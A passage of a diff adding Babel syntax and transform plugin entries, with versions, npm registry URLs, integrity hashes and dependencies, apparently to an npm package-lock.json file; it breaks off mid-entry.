"@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.3" + } + }, + "@babel/plugin-syntax-import-assertions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.22.5.tgz", + "integrity": "sha512-rdV97N7KqsRzeNGoWUOK6yUsWarLjE5Su/Snk9IYPU9CwkWHs4t+rTGOvffTR8XGkJMTAdLfO0xVnXm8wugIJg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-import-attributes": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.22.5.tgz", + "integrity": "sha512-KwvoWDeNKPETmozyFE0P2rOLqh39EoQHNjqizrI5B8Vt0ZNS7M56s7dAiAqbYfiAYOuIzIh96z3iR2ktgu3tEg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-jsx": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-typescript": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.22.5.tgz", + "integrity": "sha512-1mS2o03i7t1c6VzH6fdQ3OA8tcEIxwG18zIPRp+UY1Ihv6W+XZzBCVxExF9upussPXJ0xE9XRHwMoNs1ep/nRQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-transform-arrow-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz", + "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-async-generator-functions": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.22.10.tgz", + "integrity": "sha512-eueE8lvKVzq5wIObKK/7dvoeKJ+xc6TvRn6aysIjS6pSCeLy7S/eVi7pEQknZqyqvzaNKdDtem8nUNTBgDVR2g==", + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.9", + "@babel/plugin-syntax-async-generators": "^7.8.4" + } + }, + "@babel/plugin-transform-async-to-generator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz", + "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==", + "requires": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5" + } + }, + "@babel/plugin-transform-block-scoped-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz", + "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-block-scoping": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.10.tgz", + "integrity": "sha512-1+kVpGAOOI1Albt6Vse7c8pHzcZQdQKW+wJH+g8mCaszOdDVwRXa/slHPqIw+oJAJANTKDMuM2cBdV0Dg618Vg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-class-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.22.5.tgz", + "integrity": "sha512-nDkQ0NfkOhPTq8YCLiWNxp1+f9fCobEjCb0n8WdbNUBc4IB5V7P1QnX9IjpSoquKrXF5SKojHleVNs2vGeHCHQ==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-class-static-block": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.22.5.tgz", + "integrity": "sha512-SPToJ5eYZLxlnp1UzdARpOGeC2GbHvr9d/UV0EukuVx8atktg194oe+C5BqQ8jRTkgLRVOPYeXRSBg1IlMoVRA==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + } + }, + "@babel/plugin-transform-classes": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.6.tgz", + "integrity": "sha512-58EgM6nuPNG6Py4Z3zSuu0xWu2VfodiMi72Jt5Kj2FECmaYk1RrTXA45z6KBFsu9tRgwQDwIiY4FXTt+YsSFAQ==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "globals": "^11.1.0" + } + }, + "@babel/plugin-transform-computed-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz", + "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.5" + } + }, + "@babel/plugin-transform-destructuring": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.10.tgz", + "integrity": "sha512-dPJrL0VOyxqLM9sritNbMSGx/teueHF/htMKrPT7DNxccXxRDPYqlgPFFdr8u+F+qUZOkZoXue/6rL5O5GduEw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-dotall-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz", + "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-duplicate-keys": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz", + "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-dynamic-import": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.22.5.tgz", + "integrity": "sha512-0MC3ppTB1AMxd8fXjSrbPa7LT9hrImt+/fcj+Pg5YMD7UQyWp/02+JWpdnCymmsXwIx5Z+sYn1bwCn4ZJNvhqQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + } + }, + "@babel/plugin-transform-exponentiation-operator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz", + "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==", + "requires": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-export-namespace-from": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.22.5.tgz", + "integrity": "sha512-X4hhm7FRnPgd4nDA4b/5V280xCx6oL7Oob5+9qVS5C13Zq4bh1qq7LU0GgRU6b5dBWBvhGaXYVB4AcN6+ol6vg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + } + }, + "@babel/plugin-transform-for-of": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz", + "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz", + "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==", + "requires": { + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-json-strings": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.22.5.tgz", + "integrity": "sha512-DuCRB7fu8MyTLbEQd1ew3R85nx/88yMoqo2uPSjevMj3yoN7CDM8jkgrY0wmVxfJZyJ/B9fE1iq7EQppWQmR5A==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" + } + }, + "@babel/plugin-transform-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz", + "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-logical-assignment-operators": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.22.5.tgz", + "integrity": "sha512-MQQOUW1KL8X0cDWfbwYP+TbVbZm16QmQXJQ+vndPtH/BoO0lOKpVoEDMI7+PskYxH+IiE0tS8xZye0qr1lGzSA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + } + }, + "@babel/plugin-transform-member-expression-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz", + "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-amd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz", + "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==", + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-commonjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz", + "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==", + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-systemjs": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz", + "integrity": "sha512-emtEpoaTMsOs6Tzz+nbmcePl6AKVtS1yC4YNAeMun9U8YCsgadPNxnOPQ8GhHFB2qdx+LZu9LgoC0Lthuu05DQ==", + "requires": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5" + } + }, + "@babel/plugin-transform-modules-umd": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz", + "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==", + "requires": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-new-target": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz", + "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.22.5.tgz", + "integrity": "sha512-6CF8g6z1dNYZ/VXok5uYkkBBICHZPiGEl7oDnAx2Mt1hlHVHOSIKWJaXHjQJA5VB43KZnXZDIexMchY4y2PGdA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + } + }, + "@babel/plugin-transform-numeric-separator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.22.5.tgz", + "integrity": "sha512-NbslED1/6M+sXiwwtcAB/nieypGw02Ejf4KtDeMkCEpP6gWFMX1wI9WKYua+4oBneCCEmulOkRpwywypVZzs/g==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + } + }, + "@babel/plugin-transform-object-rest-spread": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.22.5.tgz", + "integrity": "sha512-Kk3lyDmEslH9DnvCDA1s1kkd3YWQITiBOHngOtDL9Pt6BZjzqb6hiOlb8VfjiiQJ2unmegBqZu0rx5RxJb5vmQ==", + "requires": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.22.5" + } + }, + "@babel/plugin-transform-object-super": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz", + "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5" + } + }, + "@babel/plugin-transform-optional-catch-binding": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.22.5.tgz", + "integrity": "sha512-pH8orJahy+hzZje5b8e2QIlBWQvGpelS76C63Z+jhZKsmzfNaPQ+LaW6dcJ9bxTpo1mtXbgHwy765Ro3jftmUg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + } + }, + "@babel/plugin-transform-optional-chaining": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.10.tgz", + "integrity": "sha512-MMkQqZAZ+MGj+jGTG3OTuhKeBpNcO+0oCEbrGNEaOmiEn+1MzRyQlYsruGiU8RTK3zV6XwrVJTmwiDOyYK6J9g==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-transform-parameters": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.5.tgz", + "integrity": "sha512-AVkFUBurORBREOmHRKo06FjHYgjrabpdqRSwq6+C7R5iTCZOsM4QbcB27St0a4U6fffyAOqh3s/qEfybAhfivg==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-private-methods": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.22.5.tgz", + "integrity": "sha512-PPjh4gyrQnGe97JTalgRGMuU4icsZFnWkzicB/fUtzlKUqvsWBKEpPPfr5a2JiyirZkHxnAqkQMO5Z5B2kK3fA==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-private-property-in-object": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.22.5.tgz", + "integrity": "sha512-/9xnaTTJcVoBtSSmrVyhtSvO3kbqS2ODoh2juEU72c3aYonNF0OMGiaz2gjukyKM2wBBYJP38S4JiE0Wfb5VMQ==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + } + }, + "@babel/plugin-transform-property-literals": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz", + "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-react-constant-elements": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.22.5.tgz", + "integrity": "sha512-BF5SXoO+nX3h5OhlN78XbbDrBOffv+AxPP2ENaJOVqjWCgBDeOY3WcaUcddutGSfoap+5NEQ/q/4I3WZIvgkXA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-react-display-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.22.5.tgz", + "integrity": "sha512-PVk3WPYudRF5z4GKMEYUrLjPl38fJSKNaEOkFuoprioowGuWN6w2RKznuFNSlJx7pzzXXStPUnNSOEO0jL5EVw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-react-jsx": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.22.5.tgz", + "integrity": "sha512-rog5gZaVbUip5iWDMTYbVM15XQq+RkUKhET/IHR6oizR+JEoN6CAfTTuHcK4vwUyzca30qqHqEpzBOnaRMWYMA==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/plugin-transform-react-jsx-development": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.22.5.tgz", + "integrity": "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A==", + "requires": { + "@babel/plugin-transform-react-jsx": "^7.22.5" + } + }, + "@babel/plugin-transform-react-pure-annotations": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.22.5.tgz", + "integrity": "sha512-gP4k85wx09q+brArVinTXhWiyzLl9UpmGva0+mWyKxk6JZequ05x3eUcIUE+FyttPKJFRRVtAvQaJ6YF9h1ZpA==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-regenerator": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.10.tgz", + "integrity": "sha512-F28b1mDt8KcT5bUyJc/U9nwzw6cV+UmTeRlXYIl2TNqMMJif0Jeey9/RQ3C4NOd2zp0/TRsDns9ttj2L523rsw==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.2" + } + }, + "@babel/plugin-transform-reserved-words": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz", + "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-transform-runtime": { + "version": "7.22.10", + "resolved": 